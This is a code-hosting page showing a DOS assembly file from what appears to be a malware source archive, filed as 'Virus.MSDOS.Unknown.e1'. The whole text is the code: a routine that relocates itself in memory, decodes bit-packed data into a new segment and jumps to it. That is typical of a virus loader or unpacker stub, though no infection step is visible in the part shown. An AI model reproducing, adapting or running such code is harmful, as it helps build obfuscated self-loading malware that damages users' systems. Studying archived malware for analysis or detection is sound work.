MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.e1.asm
2021-01-12 17:41:47 -06:00

106 lines
2.2 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

code segment
assume cs:code, ds:code
org 100h
asc2 equ asc + 128
prog:
mov ax,cs
add ax,1000h
mov es,ax
mov si,0100h
mov di,si
mov cx,5000h
rep movsb
mov word ptr [next+2],es
jmp dword ptr [next]
next db 1dh,1,0,0
part2:
push ds
pop es
push cs
pop ds
mov di,offset asc + 128
sub bx,bx
k10: mov [bx][di],bl
inc bl
jnz k10
mov si,offset asc
k20: mov bl,[si]
mov byte ptr [bx][di],0
inc si
cmp si,di
jne k20
dec di
mov cx,128
k30: inc di
cmp byte ptr [di],0
je k30
mov al,[di]
mov [si],al
inc si
loop k30
mov bx,50ffh
mov di,bx
mov cl,0
l10: mov ah,[di]
mov al,[di-1]
mov si,ax
sub ax,ax
mov dl,6
shl si,cl
mov ch,cl
mov cl,12
shl si,1
jnc l20
mov al,64
dec cx
dec cx
inc dx
inc dx
shl si,1
jnc l30
shl ax,1
dec cx
inc dx
jmp short l30
l20: shl si,1
jnc l30
inc dx
mov al,16
shl si,1
jnc l30
shl ax,1
dec cx
inc dx
l30: shr si,cl
add si,ax
mov al,asc[si]
mov es:[bx],al
mov cl,dl
add cl,ch
l40: cmp cl,8
jc l50
sub cl,8
dec di
jmp short l40
l50: dec bx
cmp bx,00ffh
jne l10
mov [next],0
mov word ptr [next+2],es
jmp dword ptr [next]
asc db ?
last label byte
code ends
end prog